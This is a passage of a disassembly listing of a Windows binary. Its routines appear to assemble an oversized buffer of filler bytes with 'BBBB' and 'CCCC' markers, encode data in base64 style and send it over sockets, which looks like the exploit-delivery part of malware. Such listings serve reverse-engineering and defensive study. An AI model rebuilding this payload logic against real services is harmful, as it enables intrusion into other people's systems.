		push	[ebp+Src]	; Src
		mov	byte ptr [edi],	3
		push	eax		; Dst
		call	_memcpy
		add	esp, 18h
		mov	ecx, esi
		call	sub_40E7A0
		lea	ecx, [ebp+Src]
		mov	[esi+4], ebx
		mov	[esi], edi
		call	sub_40E7A0
		mov	al, 1


loc_40E8B0:				; CODE XREF: sub_40E841+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E841	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E8B5	proc near		; CODE XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *)+14p
					; sub_40E906+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	[ebp+arg_4]	; int
		mov	esi, ecx
		push	[ebp+arg_0]	; int
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4] ; Size
		push	dword ptr [esi]	; Src
		call	sub_40E74B
		mov	ecx, esi
		call	sub_40E7A0
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40E8B5	endp

; [0000001D BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *). PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_40E906	proc near		; CODE XREF: sub_40E952+Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40E8B5
		retn	8
sub_40E906	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E916	proc near		; CODE XREF: sub_40E952+16p
					; sub_40E971+87p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40E7B9
		test	al, al
		jz	short loc_40E94F
		push	dword ptr [esi+4] ; int
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]	; int
		push	1		; Size
		push	offset asc_42FCEC ; "#"
		call	sub_40E74B
		mov	ecx, esi
		call	sub_40E7A0
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40E94F:				; CODE XREF: sub_40E916+Fj
		pop	esi
		leave
		retn
sub_40E916	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E952	proc near		; CODE XREF: sub_40E971+12Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		push	[esp+8+arg_0]
		call	sub_40E906
		test	al, al
		jz	short loc_40E96D
		mov	ecx, esi
		call	sub_40E916


loc_40E96D:				; CODE XREF: sub_40E952+12j
		pop	esi
		retn	8
sub_40E952	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E971	proc near		; CODE XREF: .text:0040F759p

Dst		= byte ptr -848h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 848h
		push	ebx
		push	esi
		xor	ecx, ecx
		xor	edx, edx
		mov	ebx, 408h
		xor	esi, esi
		cmp	[ebp+arg_8], ebx
		mov	[ebp+var_3C], ecx
		mov	[ebp+var_40], edx
		jg	loc_40ECC1
		mov	eax, [ebp+arg_10]
		add	eax, 8
		cmp	eax, ebx
		ja	loc_40ECC1
		push	edi
		push	4
		push	offset dword_43F744
		lea	ecx, [ebp+var_28]
		mov	[ebp+var_24], esi
		mov	[ebp+var_28], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_34], esi
		mov	[ebp+var_38], esi
		mov	[ebp+var_C], esi
		mov	[ebp+var_10], esi
		mov	[ebp+var_2C], esi
		mov	[ebp+var_30], esi
		mov	[ebp+var_1C], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_14], esi
		mov	[ebp+var_18], esi
		call	sub_40E8B5
		push	3
		push	offset dword_43F740
		lea	ecx, [ebp+var_28]
		call	sub_40E8B5
		lea	ecx, [ebp+var_28]
		call	sub_40E841
		lea	ecx, [ebp+var_28]
		call	sub_40E916
		mov	edi, 800h
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	42h		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		lea	ecx, [ebp+var_8]
		call	sub_40E8B5
		push	[ebp+arg_10]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_C]
		call	sub_40E8B5
		mov	eax, 409h
		sub	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_40E8B5
		lea	ecx, [ebp+var_8]
		call	sub_40E841
		push	offset dword_4331E4 ; Str
		lea	ecx, [ebp+var_38]
		call	?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *)
		lea	ecx, [ebp+var_38]
		call	sub_40E841
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	44h		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	410h		; Size
		lea	eax, [ebp+Dst]
		push	eax		; Src
		lea	ecx, [ebp+var_48]
		call	sub_40E711
		lea	ecx, [ebp+var_48]
		call	sub_40E841
		push	[ebp+var_44]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_48]
		call	sub_40E952
		lea	ecx, [ebp+var_48]
		call	sub_40E7A0
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	43h		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_10]
		call	?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *)
		push	4
		push	offset dword_43F72C
		lea	ecx, [ebp+var_10]
		call	sub_40E8B5
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_4]
		call	sub_40E8B5
		sub	ebx, [ebp+arg_8]
		lea	eax, [ebp+Dst]
		push	ebx
		push	eax
		lea	ecx, [ebp+var_10]
		call	sub_40E8B5
		lea	ecx, [ebp+var_10]
		call	sub_40E841
		push	[ebp+var_C]
		mov	eax, [ebp+var_10]
		push	eax
		lea	ecx, [ebp+var_30]
		call	sub_40E8B5
		push	[ebp+var_34]
		mov	eax, [ebp+var_38]
		push	eax
		lea	ecx, [ebp+var_30]
		call	sub_40E8B5
		lea	ecx, [ebp+var_30]
		call	sub_40E916
		lea	ecx, [ebp+var_10]
		call	sub_40E7A0
		lea	ecx, [ebp+var_38]
		call	sub_40E7A0
		push	[ebp+var_4]
		mov	eax, [ebp+var_8]
		push	eax
		lea	ecx, [ebp+var_20]
		call	sub_40E8B5
		push	[ebp+var_24]
		mov	eax, [ebp+var_28]
		push	eax
		lea	ecx, [ebp+var_20]
		call	sub_40E8B5
		push	[ebp+var_2C]
		mov	eax, [ebp+var_30]
		push	eax
		lea	ecx, [ebp+var_20]
		call	sub_40E8B5
		lea	ecx, [ebp+var_20]
		call	sub_40E916
		lea	ecx, [ebp+var_8]
		call	sub_40E7A0
		lea	ecx, [ebp+var_28]
		call	sub_40E7A0
		lea	ecx, [ebp+var_30]
		call	sub_40E7A0
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	41h		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	400h
		lea	eax, [ebp+Dst]
		push	eax
		lea	ecx, [ebp+var_18]
		call	sub_40E8B5
		lea	ecx, [ebp+var_18]
		call	sub_40E841
		push	2
		push	offset dword_4331D8
		lea	ecx, [ebp+var_18]
		call	sub_40E8B5
		push	[ebp+var_1C]
		mov	eax, [ebp+var_20]
		push	eax
		lea	ecx, [ebp+var_18]
		call	sub_40E8B5
		lea	ecx, [ebp+var_18]
		call	sub_40E916
		lea	ecx, [ebp+var_20]
		call	sub_40E7A0
		push	[ebp+var_14]
		mov	eax, [ebp+var_18]
		push	eax
		lea	ecx, [ebp+var_10]
		mov	[ebp+var_C], esi
		mov	[ebp+var_10], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_8], esi
		call	sub_40E8B5
		lea	ecx, [ebp+var_10]
		call	sub_40E7B9
		lea	ecx, [ebp+var_18]
		call	sub_40E7A0
		push	offset dword_4331D4 ; Str
		lea	ecx, [ebp+var_8]
		call	?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *)
		push	[ebp+var_C]
		mov	eax, [ebp+var_10]
		push	eax
		lea	ecx, [ebp+var_8]
		call	sub_40E8B5
		lea	ecx, [ebp+var_8]
		call	sub_40E7B9
		lea	ecx, [ebp+var_10]
		call	sub_40E7A0
		push	offset dword_4331D0 ; Str
		lea	ecx, [ebp+var_10]
		call	?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *)
		push	[ebp+var_4]
		mov	eax, [ebp+var_8]
		push	eax
		lea	ecx, [ebp+var_10]
		call	sub_40E8B5
		lea	ecx, [ebp+var_10]
		call	sub_40E7B9
		lea	ecx, [ebp+var_8]
		call	sub_40E7A0
		push	offset dword_4331C4 ; Str
		lea	ecx, [ebp+var_8]
		call	?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *)
		push	[ebp+var_C]
		mov	eax, [ebp+var_10]
		push	eax
		lea	ecx, [ebp+var_8]
		call	sub_40E8B5
		lea	ecx, [ebp+var_8]
		call	sub_40E7B9
		lea	ecx, [ebp+var_10]
		call	sub_40E7A0
		push	offset asc_4331C0 ; "`"
		lea	ecx, [ebp+var_40]
		call	?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *)
		push	[ebp+var_4]
		mov	eax, [ebp+var_8]
		push	eax
		lea	ecx, [ebp+var_40]
		call	sub_40E8B5
		lea	ecx, [ebp+var_8]
		call	sub_40E7A0
		mov	ecx, [ebp+var_40]
		mov	eax, [ebp+arg_0]
		mov	[eax], ecx
		mov	ecx, [ebp+var_3C]
		pop	edi
		jmp	short loc_40ECC6
; ---------------------------------------------------------------------------


loc_40ECC1:				; CODE XREF: sub_40E971+1Fj
					; sub_40E971+2Dj
		mov	eax, [ebp+arg_0]
		mov	[eax], edx


loc_40ECC6:				; CODE XREF: sub_40E971+34Ej
		pop	esi
		mov	[eax+4], ecx
		pop	ebx
		leave
		retn
sub_40E971	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ECCD	proc near		; CODE XREF: sub_40ED91+A1p
					; sub_40ED91+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		push	0
		lea	eax, [ebp+var_10C]
		push	eax
		xor	edi, edi
		lea	eax, [esi+1]
		inc	edi
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	ds:dword_42B21C	; select
		cmp	eax, edi
		jnz	short loc_40ED34
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_4298D6	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_40ED38


loc_40ED34:				; CODE XREF: sub_40ECCD+54j
		xor	eax, eax
		jmp	short loc_40ED48
; ---------------------------------------------------------------------------


loc_40ED38:				; CODE XREF: sub_40ECCD+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_444064	; recv


loc_40ED48:				; CODE XREF: sub_40ECCD+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40ECCD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ED4C	proc near		; CODE XREF: sub_40ED91+81p
					; sub_40ED91+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_444234	; htonl
		push	0
		mov	[ebp+var_4], eax
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	dword_4441A0	; send
		cmp	eax, 4
		jz	short loc_40ED76
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40ED76:				; CODE XREF: sub_40ED4C+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4441A0	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40ED4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40ED91(int,void *Src,size_t Size)

sub_40ED91	proc near		; CODE XREF: sub_40EE6B+48p
					; .text:0040F828p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Src		= dword	ptr  0Ch
Size		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+Size]
		lea	ebx, [edi+41h]
		push	ebx		; Size
		mov	[ebp+var_4], ebx
		call	_malloc
		mov	esi, eax
		test	esi, esi
		pop	ecx
		jnz	short loc_40EDBA
		xor	al, al
		jmp	loc_40EE66
; ---------------------------------------------------------------------------


loc_40EDBA:				; CODE XREF: sub_40ED91+20j
		push	ebx		; Size
		push	0		; Val
		push	esi		; Dst
		call	_memset
		push	2Fh		; Size
		push	offset dword_43F7E4 ; Src
		push	esi		; Dst
		call	_memcpy
		push	8		; Size
		lea	eax, [esi+31h]
		push	offset dword_43F7D8 ; Src
		push	eax		; Dst
		mov	[esi+2Fh], di
		call	_memcpy
		push	edi		; Size
		push	[ebp+Src]	; Src
		lea	ebx, [esi+3Bh]
		push	ebx		; Dst
		mov	[esi+39h], di
		call	_memcpy
		push	6		; Size
		push	offset dword_4D50CC ; Src
		add	ebx, edi
		push	ebx		; Dst
		call	_memcpy
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_43F750
		push	ebx
		call	sub_40ED4C
		add	esp, 48h
		test	al, al
		jnz	short loc_40EE22


loc_40EE1E:				; CODE XREF: sub_40ED91+B5j
		xor	bl, bl
		jmp	short loc_40EE5D
; ---------------------------------------------------------------------------


loc_40EE22:				; CODE XREF: sub_40ED91+8Bj
		push	0
		mov	edi, 100h
		push	edi
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	sub_40ECCD
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40ED4C
		add	esp, 1Ch
		test	al, al
		jz	short loc_40EE1E
		push	0
		push	edi
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	sub_40ECCD
		add	esp, 10h
		mov	bl, 1


loc_40EE5D:				; CODE XREF: sub_40ED91+8Fj
		push	esi		; Memory
		call	_free
		pop	ecx
		mov	al, bl


loc_40EE66:				; CODE XREF: sub_40ED91+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40ED91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40EE6B(int,void *Src,size_t Size)

sub_40EE6B	proc near		; CODE XREF: .text:0040F80Ep

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
Src		= dword	ptr  0Ch
Size		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_43F818
		push	[ebp+arg_0]
		call	ds:dword_42B210	; send
		cmp	eax, 48h
		jnz	short loc_40EEA6
		push	0
		push	20h
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	sub_40ECCD
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EEA6
		cmp	[ebp+var_20], 82h
		jz	short loc_40EEAA


loc_40EEA6:				; CODE XREF: sub_40EE6B+1Bj
					; sub_40EE6B+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40EEAA:				; CODE XREF: sub_40EE6B+39j
		push	[ebp+Size]	; Size
		push	[ebp+Src]	; Src
		push	[ebp+arg_0]	; int
		call	sub_40ED91
		add	esp, 0Ch
		leave
		retn
sub_40EE6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EEBD	proc near		; CODE XREF: sub_40F47A+29p

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		shl	eax, 3
		test	eax, eax
		mov	[ebp+arg_0], eax
		fild	[ebp+arg_0]
		jge	short loc_40EED8
		fadd	ds:dbl_433200


loc_40EED8:				; CODE XREF: sub_40EEBD+13j
		fmul	ds:dbl_4331F8
		call	__ftol2
		test	eax, eax
		mov	[ebp+arg_0], eax
		fild	[ebp+arg_0]
		jge	short loc_40EEF3
		fadd	ds:dbl_433200


loc_40EEF3:				; CODE XREF: sub_40EEBD+2Ej
		fst	[ebp+var_8]
		push	ecx
		fmul	ds:dbl_4331F0
		push	ecx		; double
		fstp	[esp+10h+var_10]
		call	_floor
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	__ftol2
		inc	eax
		leave
		retn
sub_40EEBD	endp

; [00000034 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Inside(char	const *). PRESS	KEYPAD "+" TO EXPAND]
; [0000001C BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Eos(uint). PRESS KEYPAD "+"	TO EXPAND]
; [00000049 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool,uint). PRESS KEYPAD "+" TO EXPAND]
; [0000006C BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::erase(uint,uint). PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A07A


loc_40F01A:				; CODE XREF: sub_42A060+3j
					; sub_42A072+3j ...
		push	0		; Size
		push	1		; char
		call	?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@IAEX_NI@Z ;	std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool,uint)
		retn
; END OF FUNCTION CHUNK	FOR sub_42A07A
; [000000D3 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Copy(uint,uint). PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_40F0F7	proc near		; DATA XREF: .rdata:stru_43A768o
		mov	ecx, [ebp-18h]
		xor	esi, esi
		push	esi		; Size
		push	1		; char
		call	?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@IAEX_NI@Z ;	std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool,uint)
		push	esi
		push	esi
		call	__CxxThrowException@8 ;	_CxxThrowException(x,x)
		int	3		; Trap to Debugger
sub_40F0F7	endp ; sp-analysis failed

; [0000005E BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Grow(uint,bool). PRESS KEYPAD "+" TO EXPAND]
; [00000095 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint). PRESS	KEYPAD "+" TO EXPAND]
; [00000060 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char). PRESS KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::reserve(uint). PRESS	KEYPAD "+" TO EXPAND]
; [00000090 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(char const *,uint). PRESS KEYPAD "+" TO EXPAND]
; [0000008F BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint). PRESS	KEYPAD "+" TO EXPAND]
; [0000006F BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *,uint). PRESS KEYPAD "+" TO EXPAND]
; [00000026 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>> const &). PRESS KEYPAD	"+" TO EXPAND]
; [0000001D BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *). PRESS KEYPAD "+" TO EXPAND]
; [0000001D BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *). PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40F47A(int,int,int,char *Src)

sub_40F47A	proc near		; CODE XREF: sub_40F5F6+23p

var_4C		= qword	ptr -4Ch
var_38		= dword	ptr -38h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Src		= dword	ptr  14h

		mov	eax, offset loc_42A068
		call	__EH_prolog
		sub	esp, 2Ch
		push	edi
		xor	edi, edi
		push	edi
		lea	ecx, [ebp+var_38]
		mov	[ebp+var_1C], edi
		mov	[ebp+var_20], 0Fh
		call	?_Eos@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@IAEXI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Eos(uint)
		push	[ebp+arg_8]
		mov	[ebp+var_4], edi
		call	sub_40EEBD
		pop	ecx
		push	eax
		lea	ecx, [ebp+var_38]
		call	?reserve@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEXI@Z ;	std::basic_string<char,std::char_traits<char>,std::allocator<char>>::reserve(uint)
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_18], edi
		jbe	loc_40F5CF
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi


loc_40F4C3:				; CODE XREF: sub_40F47A+14Dj
		cmp	[ebp+arg_8], 3
		jb	short loc_40F4CE
		push	3


loc_40F4CB:				; CODE XREF: sub_40F47A+5Cj
		pop	ebx
		jmp	short loc_40F4E1
; ---------------------------------------------------------------------------


loc_40F4CE:				; CODE XREF: sub_40F47A+4Dj
		cmp	[ebp+arg_8], 2
		jnz	short loc_40F4D8
		push	2
		jmp	short loc_40F4CB
; ---------------------------------------------------------------------------


loc_40F4D8:				; CODE XREF: sub_40F47A+58j
		cmp	[ebp+arg_8], 1
		jnz	short loc_40F4E1
		xor	ebx, ebx
		inc	ebx


loc_40F4E1:				; CODE XREF: sub_40F47A+52j
					; sub_40F47A+62j
		test	ebx, ebx
		mov	[ebp+var_1C], ebx
		fild	[ebp+var_1C]
		jge	short loc_40F4F1
		fadd	ds:dbl_433200


loc_40F4F1:				; CODE XREF: sub_40F47A+6Fj
		fmul	ds:dbl_433208
		push	ecx
		push	ecx		; double
		fstp	[esp+4Ch+var_4C]
		call	_ceil
		pop	ecx
		pop	ecx
		call	__ftol2
		cmp	ebx, edi
		mov	[ebp+var_1C], eax
		jbe	short loc_40F527
		mov	esi, [ebp+arg_4]
		mov	ecx, ebx
		mov	edx, ecx
		shr	ecx, 2
		lea	edi, [ebp+var_10]
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40F527:				; CODE XREF: sub_40F47A+93j
		mov	cl, [ebp+var_10]
		mov	dl, [ebp+var_10]
		sar	cl, 2
		and	cl, 3Fh
		add	[ebp+arg_4], ebx
		sub	[ebp+arg_8], ebx
		mov	[ebp+var_14], cl
		mov	cl, [ebp+var_F]
		sar	cl, 4
		and	cl, 0Fh
		and	dl, 3
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp+var_F]
		mov	[ebp+var_13], cl
		mov	cl, [ebp+var_E]
		sar	cl, 6
		and	cl, 3
		and	dl, 0Fh
		shl	dl, 2
		add	cl, dl
		mov	[ebp+var_12], cl
		mov	cl, [ebp+var_E]
		and	cl, 3Fh
		xor	esi, esi
		cmp	eax, edi
		mov	[ebp+var_11], cl
		jbe	short loc_40F596
		add	[ebp+var_18], eax


loc_40F579:				; CODE XREF: sub_40F47A+11Aj
		movsx	eax, [ebp+esi+var_14]
		movsx	eax, byte_43F868[eax]
		push	eax		; int
		push	1		; Size
		lea	ecx, [ebp+var_38]
		call	?append@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ID@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char)
		inc	esi
		cmp	esi, [ebp+var_1C]
		jb	short loc_40F579


loc_40F596:				; CODE XREF: sub_40F47A+FAj
		cmp	[ebp+var_18], 48h
		jb	short loc_40F5AA
		push	[ebp+Src]	; Src
		lea	ecx, [ebp+var_38] ; int
		call	?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBD@Z_0 ;	std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *)
		mov	[ebp+var_18], edi


loc_40F5AA:				; CODE XREF: sub_40F47A+120j
		push	4
		pop	esi
		cmp	[ebp+var_1C], esi
		jnb	short loc_40F5C4
		sub	esi, [ebp+var_1C]


loc_40F5B5:				; CODE XREF: sub_40F47A+148j
		push	3Dh		; int
		push	1		; Size
		lea	ecx, [ebp+var_38]
		call	?append@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ID@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char)
		dec	esi
		jnz	short loc_40F5B5


loc_40F5C4:				; CODE XREF: sub_40F47A+136j
		cmp	[ebp+arg_8], edi
		ja	loc_40F4C3
		pop	esi
		pop	ebx


loc_40F5CF:				; CODE XREF: sub_40F47A+3Ej
		mov	ecx, [ebp+arg_0]
		lea	eax, [ebp+var_38]
		push	eax
		call	??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>> const	&)
		push	edi		; Size
		push	1		; char
		lea	ecx, [ebp+var_38]
		call	?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@IAEX_NI@Z ;	std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool,uint)
		mov	ecx, [ebp+var_C]
		mov	eax, [ebp+arg_0]
		pop	edi
		mov	large fs:0, ecx
		leave
		retn
sub_40F47A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F5F6	proc near		; CODE XREF: .text:0040F7F1p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
